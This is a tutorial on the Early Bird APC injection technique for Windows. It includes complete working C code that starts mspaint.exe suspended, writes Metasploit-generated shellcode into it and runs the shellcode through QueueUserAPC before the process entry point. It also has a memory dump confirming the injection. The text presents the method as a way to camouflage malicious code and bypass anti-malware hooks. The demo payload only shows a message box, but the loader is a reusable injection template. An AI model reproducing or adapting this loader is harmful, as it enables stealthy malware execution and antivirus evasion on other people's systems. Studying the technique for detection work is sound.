

## Early Bird APC Injection


In this section, we are going to learn about Early Bird APC Injection, achieving camouflage by hijacking a legitimate process before it hits the entry point. Camouflage is where it hides behind a process, taking on the icon of the process.

### Basic Concepts

- A malware creates a legitimate process in a suspended state
- Then, injects shellcode into it
- And inserts a job into the threads APC Queue
- And finally resumes the thread
- The shellcode executes before the process begins, to avoid detection by Anti-malware hooks

Mechanism of Early Bird Injection:

### Mechanism of Early Bird APC Injection



On the left, we have the malware in which the shellcode is embedded, and on the right, we have the target process, which is not yet running, it is still not running.

Now, the malware will open the process, and keep it in the suspended state, and it has got a thread and an APC queue inside the process.

Then it will allocate the memory in the target process using VirtualAllocEx.

Then we will copy the shellcode to the memory using `WriteProcessMemory`, and now the shellcode has copied to the allocated memory.

Then it will add the job to the queue using the `QueueUserAPC` function, and now the shellcode has been added to the queue.

Then it will resume the thread, using the `ResumeThread` function.

Now that the thread has been resumed it will go to the APC queue, then it will execute the shellcode.

Once the shellcode is executed this target process is camouflaged. Outside is the target process icon, but inside our shellcode is executed, then any remaining instructions of the target process are abandoned.

## Advantages

- Camouflages the execution of the malicious shellcode by hijacking a legitimate process before it hits entry point
- The remaining code of the actual legitimate process is abandoned whilst the shellcode runs
- Bypasses security product hooks.
- The shellcode executes before the process begins to avoid detection by Anti-malware hooks
- Runs with application icon of the original process.

## Disadvantages

- Uses `VirtualAllocEx` and `WriteProcessMemory`, which are usually detected by AV unless obfuscated
- May occasionally crash upon exit

Now let's go through the API function used:

Here's the code:

```

1
2  #include <windows.h>
3  #include <stdio.h>
4  #include <stdlib.h>
5  #include <string.h>
6
7
8  // 64-bit shellcode to display messagebox, generated using Metasploit on Kali Linux
9  unsigned char shellcodePayload[355] = {
10     0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00,
11     0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65,
12     0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, 0x18, 0x3E, 0x48, 0x8B,
13     0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
14     0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02,
15     0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52,
16     0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x8B, 0x42, 0x3C, 0x48,
17     0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
18     0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44,
19     0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E,
20     0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
21     0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
22     0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6,
23     0x58, 0x3E, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41,
24     0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x3E,
25     0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
26     0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20,
27     0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12,
28     0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48, 0x8D, 0x8D, 0x4B, 0x01,
29     0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
30     0xC1, 0x10, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x2A, 0x01, 0x00,
31     0x00, 0x3E, 0x4C, 0x8D, 0x85, 0x42, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9,
32     0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A,
33     0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4,
34     0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
35     0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x48,
36     0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74,
37     0x68, 0x65, 0x20, 0x46, 0x55, 0x54, 0x55, 0x52, 0x45, 0x21, 0x00, 0x47,
38     0x4F, 0x54, 0x20, 0x59, 0x4F, 0x55, 0x21, 0x00, 0x75, 0x73, 0x65, 0x72,
39     0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00
40 };

```

```

42 unsigned int payload_length = 355;
43
44 //-- EarlyBird APC Injection
45 int main(void) {
46
47     int pid = 0;
48     HANDLE hProc = NULL;
49
50     STARTUPINFO si;
51     PROCESS_INFORMATION pi;
52     void * pAllocmem;
53
54     ZeroMemory( &si, sizeof(si) );
55     si.cb = sizeof(si);
56     ZeroMemory( &pi, sizeof(pi) );
57
58     CreateProcessA(0, "mspaint.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
59
60     //-- [Optional] Add decryption code or function call if payload is encrypted
61
62     //-- Allocate memory for payload and copy shellcode to it
63     pAllocmem = VirtualAllocEx(pi.hProcess, NULL, payload_length, MEM_COMMIT, PAGE_EXECUTE_READ);
64     WriteProcessMemory(pi.hProcess, pAllocmem, (PVOID) shellcodePayload, (SIZE_T) payload_length, (SIZE_T *) NULL);
65
66     QueueUserAPC((PAPCFUNC)pAllocmem, pi.hThread, NULL);
67
68     printf("pload = %p ; remote code = %p\nHit Enter to Continue!\n", shellcodePayload, pAllocmem);
69     getchar();
70     ResumeThread(pi.hThread);
71
72     return 0;
73 }
74

```

Here as we can see there is only one main function, and inside here we create some structures, and some of the object variables that are used for the process creation, which are STARTUPINFO and PROCESS\_INFORMATION.

Then we zero up those objects before we use them, and then both of these variables are used in the CreateProcessA function.

Then we use the CreateProcessA function to open our target process mspaint

CreateProcessA:

Creates a new process and its primary thread. The new process runs in the security context of the calling process.

If the calling process is impersonating another user, the new process uses the token for the calling process, not the impersonation token. To run the new process in the security context of the user represented by the impersonation token, use the CreateProcessAsUser or CreateProcessWithLogonW function.

We can see that it takes a lot of parameters, and the important ones are the 2<sup>nd</sup> parameter mspaint, and the 6<sup>th</sup> parameter CREATE\_SUSPENDED,

2<sup>nd</sup> parameter is the process that you want to start, and the 6<sup>th</sup> parameter is the creation flag.

So. Here it wants to create the process in the suspended state.

```
C++

BOOL CreateProcessA(
    [in, optional] LPCSTR          lpApplicationName,
    [in, out, optional] LPSTR      lpCommandLine,
    [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
    [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
    [in]          BOOL              bInheritHandles,
    [in]          DWORD             dwCreationFlags,
    [in, optional] LPVOID           lpEnvironment,
    [in, optional] LPCSTR          lpCurrentDirectory,
    [in]          LPSTARTUPINFOA    lpStartupInfo,
    [out]         LPPROCESS_INFORMATION lpProcessInformation
);
```

There is lot of creation flag parameters, but that, we are using:

CREATE\_SUSPENDED flag.

<b>CREATE_SUSPENDED</b> 0x00000004	The primary thread of the new process is created in a suspended state, and does not run until the <a href="#">ResumeThread</a> function is called.
---------------------------------------	--

Then if we want to add any additional decryption function, we can add it.

Then we will allocate the memory in the target process for our shellcode, using the VirtualAllocEx function.

The first parameter is the handle of the process, which can be extracted from the PROCESS\_INFORMATION (it is using process, which is the first member of the PROCESS\_INFORMATION structure).

PROCESS\_INFORMATION:

Contains information about a newly created process and its primary thread. It is used with the `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLogonW`, or `CreateProcessWithTokenW` functions.

C++

```
typedef struct _PROCESS_INFORMATION {  
    HANDLE hProcess;  
    HANDLE hThread;  
    DWORD  dwProcessId;  
    DWORD  dwThreadId;  
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
```

Then we copy the shellcode to the allocated memory, which is done by the `WriteProcessMemory` function.

And the first parameter which we pass is the handle to the process.

Then we use the `QueueUserAPC` function, to put our shellcode in the APC queue of the thread.

It is the same as we used last time, we passed 3 parameters to it.

1<sup>st</sup> one is the allocated memory, which contains your shellcode, then the handle to the thread, it is obtained by the `PROCESS_INFORMATION` by accessing the `hThread` member.

Now, finally, we resume the thread by using the `ResumeThread` function.

`ResumeThread`:


Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

C++

```
DWORD ResumeThread(  
    [in] HANDLE hThread  
);
```

It just takes in one parameter, which is handle to the thread, and once we call it will resume the thread, and then it will execute the shellcode in the APC queue. It will abandon the code, which it was supposed to execute because it has not reached the entry point yet.

Now, let's compile the file, and then run the file:



Here we can see that the mspaint is not opened, but still, we get a pop-up message under the mspaint because after executing the shellcode, it will abandon the code, that it was supposed to execute.

So, we can say that this message box is camouflaged under the mspaint icon.

Let's see this in process hacker:



```
00000000 5c 48 81 e4 f0 ff ff ff e8 d0 00 00 00 41 51 41 .H.....AQA
00000010 50 52 51 56 48 31 d2 65 48 8b 52 60 3e 48 8b 52 PRQVH1.eH.R`>H.R
00000020 18 3e 48 8b 52 20 3e 48 8b 72 50 3e 48 0f b7 4a .>H.R >H.rP>H..J
00000030 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 JmL.Hl..<a|., A.
00000040 c9 0d 41 01 c1 e2 ed 52 41 51 3e 48 8b 52 20 3e ..A....RAQ>H.R >
00000050 8b 42 3c 48 01 d0 3e 8b 80 88 00 00 00 48 85 c0 .B<H..>.....H..
00000060 74 6f 48 01 d0 50 3e 8b 48 18 3e 44 8b 40 20 49 toH..P>.H.>D.@ I
00000070 01 d0 e3 5c 48 ff c9 3e 41 8b 34 88 48 01 d6 4d ...\H..>A.4.H..M
00000080 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 l.Hl..A...A..8.u
00000090 f1 3e 4c 03 4c 24 08 45 39 d1 75 d6 58 3e 44 8b .>L.L$.E9.u.X>D.
000000a0 40 24 49 01 d0 66 3e 41 8b 0c 48 3e 44 8b 40 1c @I..f>A..H>D.@.
000000b0 49 01 d0 3e 41 8b 04 88 48 01 d0 41 58 41 58 5e I...>A...H..AXAX^
000000c0 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0 YZAXAYAZH.. AR..
000000d0 58 41 59 5a 3e 48 8b 12 e9 49 ff ff ff 5d 3e 48 XAYZ>H...I...]>H
000000e0 8d 8d 4b 01 00 00 41 ba 4c 77 26 07 ff d5 49 c7 ..K...A.Lws...I.
000000f0 c1 10 00 00 00 3e 48 8d 95 2a 01 00 00 3e 4c 8d .....>H...>L.
00000100 85 42 01 00 00 48 31 c9 41 ba 45 83 56 07 ff d5 .B...Hl.A.E.V...
00000110 bb e0 1d 2a 0a 41 ba a6 95 bd 9d ff d5 48 83 c4 ...*.A.....H..
00000120 28 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a (<|....u..G.roj
00000130 00 59 41 89 da ff d5 48 65 6c 6c 6f 2c 20 66 72 .YA....Hello, fr
00000140 6f 6d 20 74 68 65 20 46 55 54 55 52 45 21 00 47 om the FUTURE!.G
00000150 4f 54 20 59 4f 55 21 00 75 73 65 72 33 32 2e 64 OT YOU!.user32.d
00000160 6c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 ll.....
00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
```

Here we can see that it is under the same address as the remote process.

And we can see that it is indeed the same shellcode.